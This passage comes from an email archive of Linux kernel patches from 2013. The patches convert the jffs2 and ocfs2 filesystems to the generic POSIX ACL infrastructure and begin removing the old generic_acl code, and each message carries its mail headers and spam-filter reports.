ACL_TYPE_DEFAULT, acl); - - rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); - if (rc < 0) - return rc; - if (rc > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + rc = posix_acl_create(dir_i, i_mode, &default_acl, &acl); + if (rc) + return rc; + if (default_acl) { + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + posix_acl_release(default_acl); + } + if (acl) { + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); posix_acl_release(acl); } return 0; @@ -324,106 +308,3 @@ int jffs2_init_acl_post(struct inode *inode) return 0; } - -int jffs2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int rc; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (rc) - return rc; - rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return rc; -} - -static size_t jffs2_acl_access_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_ACCESS); - return retlen; -} - -static size_t jffs2_acl_default_listxattr(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - const int retlen = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (list && retlen <= list_size) - strcpy(list, POSIX_ACL_XATTR_DEFAULT); - return retlen; -} - -static int jffs2_acl_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - - acl = jffs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - rc = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return rc; -} - -static int jffs2_acl_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct posix_acl *acl; - int rc; - - if (name[0] != '\0') - return -EINVAL; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - rc = posix_acl_valid(acl); - if (rc) - goto out; - } - } else { - acl = NULL; - } - rc = jffs2_set_acl(dentry->d_inode, type, acl); - out: - posix_acl_release(acl); - return rc; -} - -const struct xattr_handler jffs2_acl_access_xattr_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_access_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; - -const struct xattr_handler jffs2_acl_default_xattr_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = jffs2_acl_default_listxattr, - .get = jffs2_acl_getxattr, - .set = jffs2_acl_setxattr, -}; diff --git a/fs/jffs2/acl.h b/fs/jffs2/acl.h index 9b47724..2e2b574 100644 --- a/fs/jffs2/acl.h +++ b/fs/jffs2/acl.h @@ -27,17 +27,14 @@ struct jffs2_acl_header { #ifdef CONFIG_JFFS2_FS_POSIX_ACL struct posix_acl *jffs2_get_acl(struct inode *inode, int type); -extern int jffs2_acl_chmod(struct inode *); +int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int jffs2_init_acl_pre(struct inode *, struct inode *, umode_t *); extern int jffs2_init_acl_post(struct inode *); -extern const struct xattr_handler jffs2_acl_access_xattr_handler; -extern const struct xattr_handler jffs2_acl_default_xattr_handler; - #else #define jffs2_get_acl (NULL) -#define jffs2_acl_chmod(inode) (0) +#define jffs2_set_acl (NULL) #define jffs2_init_acl_pre(dir_i,inode,mode) (0) #define jffs2_init_acl_post(inode) (0) diff --git a/fs/jffs2/dir.c b/fs/jffs2/dir.c index e3aac22..9385560 100644 --- a/fs/jffs2/dir.c +++ b/fs/jffs2/dir.c @@ -59,6 +59,7 @@ const struct inode_operations jffs2_dir_inode_operations = .mknod = jffs2_mknod, .rename = jffs2_rename, .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/file.c b/fs/jffs2/file.c index 1506673..256cd19 100644 --- a/fs/jffs2/file.c +++ b/fs/jffs2/file.c @@ -66,6 +66,7 @@ const struct file_operations jffs2_file_operations = const struct inode_operations jffs2_file_inode_operations = { .get_acl = jffs2_get_acl, + .set_acl = jffs2_set_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/fs.c b/fs/jffs2/fs.c index 09b3ed4..a69e426 100644 --- a/fs/jffs2/fs.c +++ b/fs/jffs2/fs.c @@ -190,15 +190,16 @@ int jffs2_do_setattr (struct inode *inode, struct iattr *iattr) int jffs2_setattr(struct dentry *dentry, struct iattr *iattr) { + struct inode *inode = dentry->d_inode; int rc; - rc = inode_change_ok(dentry->d_inode, iattr); + rc = inode_change_ok(inode, iattr); if (rc) return rc; - rc = jffs2_do_setattr(dentry->d_inode, iattr); + rc = jffs2_do_setattr(inode, iattr); if (!rc && (iattr->ia_valid & ATTR_MODE)) - rc = jffs2_acl_chmod(dentry->d_inode); + rc = posix_acl_chmod(inode, inode->i_mode); return rc; } diff --git a/fs/jffs2/symlink.c b/fs/jffs2/symlink.c index 6e56333..c7c77b0 100644 --- a/fs/jffs2/symlink.c +++ b/fs/jffs2/symlink.c @@ -22,7 +22,6 @@ const struct inode_operations jffs2_symlink_inode_operations = { .readlink = generic_readlink, .follow_link = jffs2_follow_link, - .get_acl = jffs2_get_acl, .setattr = jffs2_setattr, .setxattr = jffs2_setxattr, .getxattr = jffs2_getxattr, diff --git a/fs/jffs2/xattr.c b/fs/jffs2/xattr.c index 3034e97..ad0f2e2 100644 --- a/fs/jffs2/xattr.c +++ b/fs/jffs2/xattr.c @@ -22,6 +22,7 @@ #include #include #include +#include #include #include "nodelist.h" /* -------- xdatum related functions ---------------- @@ -921,8 +922,8 @@ const struct xattr_handler *jffs2_xattr_handlers[] = { &jffs2_security_xattr_handler, #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL - &jffs2_acl_access_xattr_handler, - &jffs2_acl_default_xattr_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &jffs2_trusted_xattr_handler, NULL @@ -942,10 +943,10 @@ static const struct xattr_handler *xprefix_to_handler(int xprefix) { #endif #ifdef CONFIG_JFFS2_FS_POSIX_ACL case JFFS2_XPREFIX_ACL_ACCESS: - ret = &jffs2_acl_access_xattr_handler; + ret = &posix_acl_access_xattr_handler; break; case JFFS2_XPREFIX_ACL_DEFAULT: - ret = &jffs2_acl_default_xattr_handler; + ret = &posix_acl_default_xattr_handler; break; #endif case JFFS2_XPREFIX_TRUSTED: -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1DA648022 for ; Wed, 11 Dec 2013 04:45:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9133BAC012 for ; Wed, 11 Dec 2013 02:45:43 -0800 (PST) X-ASG-Debug-ID: 1386758741-04cb6c537b69d4e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id HtMpL792CsFVMplv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIG-0008O7-IV; Wed, 11 Dec 2013 10:45:28 +0000 Message-Id: <20131211104528.453854494@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:55 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 12/18] ocfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0012-ocfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386758742 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/ocfs2/acl.c | 234 ++--------------------------------------------- fs/ocfs2/acl.h | 13 ++- fs/ocfs2/file.c | 4 +- fs/ocfs2/namei.c | 25 ++++- fs/ocfs2/refcounttree.c | 19 +++- fs/ocfs2/xattr.c | 21 +++-- fs/ocfs2/xattr.h | 6 +- 7 files changed, 72 insertions(+), 250 deletions(-) diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index c0f9d2f..555f4cd 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -160,36 +160,6 @@ static struct posix_acl *ocfs2_get_acl_nolock(struct inode *inode, return acl; } - -/* - * Get posix acl. - */ -static struct posix_acl *ocfs2_get_acl(struct inode *inode, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct buffer_head *di_bh = NULL; - struct posix_acl *acl; - int ret; - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return NULL; - - ret = ocfs2_inode_lock(inode, &di_bh, 0); - if (ret < 0) { - mlog_errno(ret); - acl = ERR_PTR(ret); - return acl; - } - - acl = ocfs2_get_acl_nolock(inode, type, di_bh); - - ocfs2_inode_unlock(inode, 0); - - brelse(di_bh); - - return acl; -} - /* * Helper function to set i_mode in memory and disk. Some call paths * will not have di_bh or a journal handle to pass, in which case it @@ -250,7 +220,7 @@ out: /* * Set the access or default ACL of an inode. */ -static int ocfs2_set_acl(handle_t *handle, +int ocfs2_set_acl(handle_t *handle, struct inode *inode, struct buffer_head *di_bh, int type, @@ -313,6 +283,11 @@ static int ocfs2_set_acl(handle_t *handle, return ret; } +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + return ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); +} + struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) { struct ocfs2_super *osb; @@ -334,200 +309,3 @@ struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type) return acl; } - -int ocfs2_acl_chmod(struct inode *inode) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (ret) - return ret; - ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, - acl, NULL, NULL); - posix_acl_release(acl); - return ret; -} - -/* - * Initialize the ACLs of a new inode. If parent directory has default ACL, - * then clone to new inode. Called from ocfs2_mknod. - */ -int ocfs2_init_acl(handle_t *handle, - struct inode *inode, - struct inode *dir, - struct buffer_head *di_bh, - struct buffer_head *dir_bh, - struct ocfs2_alloc_context *meta_ac, - struct ocfs2_alloc_context *data_ac) -{ - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl = NULL; - int ret = 0, ret2; - umode_t mode; - - if (!S_ISLNK(inode->i_mode)) { - if (osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) { - acl = ocfs2_get_acl_nolock(dir, ACL_TYPE_DEFAULT, - dir_bh); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) { - mode = inode->i_mode & ~current_umask(); - ret = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret) { - mlog_errno(ret); - goto cleanup; - } - } - } - if ((osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - ret = ocfs2_set_acl(handle, inode, di_bh, - ACL_TYPE_DEFAULT, acl, - meta_ac, data_ac); - if (ret) - goto cleanup; - } - mode = inode->i_mode; - ret = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (ret < 0) - return ret; - - ret2 = ocfs2_acl_set_mode(inode, di_bh, handle, mode); - if (ret2) { - mlog_errno(ret2); - ret = ret2; - goto cleanup; - } - if (ret > 0) { - ret = ocfs2_set_acl(handle, inode, - di_bh, ACL_TYPE_ACCESS, - acl, meta_ac, data_ac); - } - } -cleanup: - posix_acl_release(acl); - return ret; -} - -static size_t ocfs2_xattr_list_acl_access(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t ocfs2_xattr_list_acl_default(struct dentry *dentry, - char *list, - size_t list_len, - const char *name, - size_t name_len, - int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return 0; - - if (list && size <= list_len) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int ocfs2_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct ocfs2_super *osb = OCFS2_SB(dentry->d_sb); - struct posix_acl *acl; - int ret; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ocfs2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - ret = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return ret; -} - -static int ocfs2_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); - struct posix_acl *acl; - int ret = 0; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!(osb->s_mount_opt & OCFS2_MOUNT_POSIX_ACL)) - return -EOPNOTSUPP; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - ret = posix_acl_valid(acl); - if (ret) - goto cleanup; - } - } else - acl = NULL; - - ret = ocfs2_set_acl(NULL, inode, NULL, type, acl, NULL, NULL); - -cleanup: - posix_acl_release(acl); - return ret; -} - -const struct xattr_handler ocfs2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ocfs2_xattr_list_acl_access, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; - -const struct xattr_handler ocfs2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ocfs2_xattr_list_acl_default, - .get = ocfs2_xattr_get_acl, - .set = ocfs2_xattr_set_acl, -}; diff --git a/fs/ocfs2/acl.h b/fs/ocfs2/acl.h index 071fbd38..3fce68d 100644 --- a/fs/ocfs2/acl.h +++ b/fs/ocfs2/acl.h @@ -27,10 +27,13 @@ struct ocfs2_acl_entry { }; struct posix_acl *ocfs2_iop_get_acl(struct inode *inode, int type); -extern int ocfs2_acl_chmod(struct inode *); -extern int ocfs2_init_acl(handle_t *, struct inode *, struct inode *, - struct buffer_head *, struct buffer_head *, - struct ocfs2_alloc_context *, - struct ocfs2_alloc_context *); +int ocfs2_iop_set_acl(struct inode *inode, struct posix_acl *acl, int type); +int ocfs2_set_acl(handle_t *handle, + struct inode *inode, + struct buffer_head *di_bh, + int type, + struct posix_acl *acl, + struct ocfs2_alloc_context *meta_ac, + struct ocfs2_alloc_context *data_ac); #endif /* OCFS2_ACL_H */ diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index 6fff128..014a38e 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -1236,7 +1236,7 @@ bail: dqput(transfer_to[qtype]); if (!status && attr->ia_valid & ATTR_MODE) { - status = ocfs2_acl_chmod(inode); + status = posix_acl_chmod(inode, inode->i_mode); if (status < 0) mlog_errno(status); } @@ -2661,6 +2661,7 @@ const struct inode_operations ocfs2_file_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; const struct inode_operations ocfs2_special_file_iops = { @@ -2668,6 +2669,7 @@ const struct inode_operations ocfs2_special_file_iops = { .getattr = ocfs2_getattr, .permission = ocfs2_permission, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; /* diff --git a/fs/ocfs2/namei.c b/fs/ocfs2/namei.c index 4f791f6..c975eed 100644 --- a/fs/ocfs2/namei.c +++ b/fs/ocfs2/namei.c @@ -230,6 +230,7 @@ static int ocfs2_mknod(struct inode *dir, struct ocfs2_dir_lookup_result lookup = { NULL, }; sigset_t oldset; int did_block_signals = 0; + struct posix_acl *default_acl = NULL, *acl = NULL; trace_ocfs2_mknod(dir, dentry, dentry->d_name.len, dentry->d_name.name, (unsigned long long)OCFS2_I(dir)->ip_blkno, @@ -331,6 +332,12 @@ static int ocfs2_mknod(struct inode *dir, goto leave; } + status = posix_acl_create(dir, &mode, &default_acl, &acl); + if (status) { + mlog_errno(status); + goto leave; + } + handle = ocfs2_start_trans(osb, ocfs2_mknod_credits(osb->sb, S_ISDIR(mode), xattr_credits)); @@ -379,8 +386,17 @@ static int ocfs2_mknod(struct inode *dir, inc_nlink(dir); } - status = ocfs2_init_acl(handle, inode, dir, new_fe_bh, parent_fe_bh, - meta_ac, data_ac); + if (default_acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_DEFAULT, default_acl, + meta_ac, data_ac); + } + if (!status && acl) { + status = ocfs2_set_acl(handle, inode, new_fe_bh, + ACL_TYPE_ACCESS, acl, + meta_ac, data_ac); + } + if (status < 0) { mlog_errno(status); goto leave; @@ -419,6 +435,10 @@ static int ocfs2_mknod(struct inode *dir, d_instantiate(dentry, inode); status = 0; leave: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (status < 0 && did_quota_inode) dquot_free_inode(inode); if (handle) @@ -2504,4 +2524,5 @@ const struct inode_operations ocfs2_dir_iops = { .removexattr = generic_removexattr, .fiemap = ocfs2_fiemap, .get_acl = ocfs2_iop_get_acl, + .set_acl = ocfs2_iop_set_acl, }; diff --git a/fs/ocfs2/refcounttree.c b/fs/ocfs2/refcounttree.c index 55767e1..6ba4bcb 100644 --- a/fs/ocfs2/refcounttree.c +++ b/fs/ocfs2/refcounttree.c @@ -46,6 +46,7 @@ #include #include #include +#include struct ocfs2_cow_context { struct inode *inode; @@ -4268,11 +4269,20 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, struct inode *inode = old_dentry->d_inode; struct buffer_head *old_bh = NULL; struct inode *new_orphan_inode = NULL; + struct posix_acl *default_acl, *acl; + umode_t mode; if (!ocfs2_refcount_tree(OCFS2_SB(inode->i_sb))) return -EOPNOTSUPP; - error = ocfs2_create_inode_in_orphan(dir, inode->i_mode, + mode = inode->i_mode; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) { + mlog_errno(error); + goto out; + } + + error = ocfs2_create_inode_in_orphan(dir, mode, &new_orphan_inode); if (error) { mlog_errno(error); @@ -4303,11 +4313,16 @@ static int ocfs2_reflink(struct dentry *old_dentry, struct inode *dir, /* If the security isn't preserved, we need to re-initialize them. */ if (!preserve) { error = ocfs2_init_security_and_acl(dir, new_orphan_inode, - &new_dentry->d_name); + &new_dentry->d_name, + default_acl, acl); if (error) mlog_errno(error); } out: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); if (!error) { error = ocfs2_mv_orphaned_inode_to_new(dir, new_orphan_inode, new_dentry); diff --git a/fs/ocfs2/xattr.c b/fs/ocfs2/xattr.c index f0a1326..185fa3b7 100644 --- a/fs/ocfs2/xattr.c +++ b/fs/ocfs2/xattr.c @@ -99,8 +99,8 @@ static struct ocfs2_xattr_def_value_root def_xv = { const struct xattr_handler *ocfs2_xattr_handlers[] = { &ocfs2_xattr_user_handler, - &ocfs2_xattr_acl_access_handler, - &ocfs2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, &ocfs2_xattr_trusted_handler, &ocfs2_xattr_security_handler, NULL @@ -109,9 +109,9 @@ const struct xattr_handler *ocfs2_xattr_handlers[] = { static const struct xattr_handler *ocfs2_xattr_handler_map[OCFS2_XATTR_MAX] = { [OCFS2_XATTR_INDEX_USER] = &ocfs2_xattr_user_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_ACCESS] - = &ocfs2_xattr_acl_access_handler, + = &posix_acl_access_xattr_handler, [OCFS2_XATTR_INDEX_POSIX_ACL_DEFAULT] - = &ocfs2_xattr_acl_default_handler, + = &posix_acl_default_xattr_handler, [OCFS2_XATTR_INDEX_TRUSTED] = &ocfs2_xattr_trusted_handler, [OCFS2_XATTR_INDEX_SECURITY] = &ocfs2_xattr_security_handler, }; @@ -7190,10 +7190,12 @@ out: */ int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr) + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl) { - int ret = 0; struct buffer_head *dir_bh = NULL; + int ret = 0; ret = ocfs2_init_security_get(inode, dir, qstr, NULL); if (ret) { @@ -7207,9 +7209,10 @@ int ocfs2_init_security_and_acl(struct inode *dir, goto leave; } - ret = ocfs2_init_acl(NULL, inode, dir, NULL, dir_bh, NULL, NULL); - if (ret) - mlog_errno(ret); + if (!ret && default_acl) + ret = ocfs2_iop_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (!ret && acl) + ret = ocfs2_iop_set_acl(inode, acl, ACL_TYPE_ACCESS); ocfs2_inode_unlock(dir, 0); brelse(dir_bh); diff --git a/fs/ocfs2/xattr.h b/fs/ocfs2/xattr.h index 19f134e..f10d5b9 100644 --- a/fs/ocfs2/xattr.h +++ b/fs/ocfs2/xattr.h @@ -40,8 +40,6 @@ struct ocfs2_security_xattr_info { extern const struct xattr_handler ocfs2_xattr_user_handler; extern const struct xattr_handler ocfs2_xattr_trusted_handler; extern const struct xattr_handler ocfs2_xattr_security_handler; -extern const struct xattr_handler ocfs2_xattr_acl_access_handler; -extern const struct xattr_handler ocfs2_xattr_acl_default_handler; extern const struct xattr_handler *ocfs2_xattr_handlers[]; ssize_t ocfs2_listxattr(struct dentry *, char *, size_t); @@ -96,5 +94,7 @@ int ocfs2_reflink_xattrs(struct inode *old_inode, bool preserve_security); int ocfs2_init_security_and_acl(struct inode *dir, struct inode *inode, - const struct qstr *qstr); + const struct qstr *qstr, + struct posix_acl *default_acl, + struct posix_acl *acl); #endif /* OCFS2_XATTR_H */ -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B6C2929E29 for ; Wed, 11 Dec 2013 04:45:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D329AC00B for ; Wed, 11 Dec 2013 02:45:47 -0800 (PST) X-ASG-Debug-ID: 1386758746-04bdf0131b1aab10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 7oNyNhJCLuxRh6KI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIH-0008Rp-ML; Wed, 11 Dec 2013 10:45:29 +0000 Message-Id: <20131211104529.533351849@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:43:01 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 18/18] fs: remove generic_acl References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 18/18] fs: remove generic_acl Content-Disposition: inline; filename=0018-fs-remove-generic_acl.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758746 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 And instead convert tmpfs to use the new generic ACL code, with two stub methods provided for in-memory filesystems. Signed-off-by: Christoph Hellwig --- fs/Kconfig | 6 +- fs/Makefile | 1 - fs/generic_acl.c | 184 ------------------------------------------- fs/posix_acl.c | 36 +++++++++ include/linux/generic_acl.h | 14 ---- include/linux/posix_acl.h | 9 +++ mm/shmem.c | 57 ++++++-------- 7 files changed, 69 insertions(+), 238 deletions(-) delete mode 100644 fs/generic_acl.c delete mode 100644 include/linux/generic_acl.h diff --git a/fs/Kconfig b/fs/Kconfig index c229f82..7385e54 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -68,10 +68,6 @@ source "fs/quota/Kconfig" source "fs/autofs4/Kconfig" source "fs/fuse/Kconfig" -config GENERIC_ACL - bool - select FS_POSIX_ACL - menu 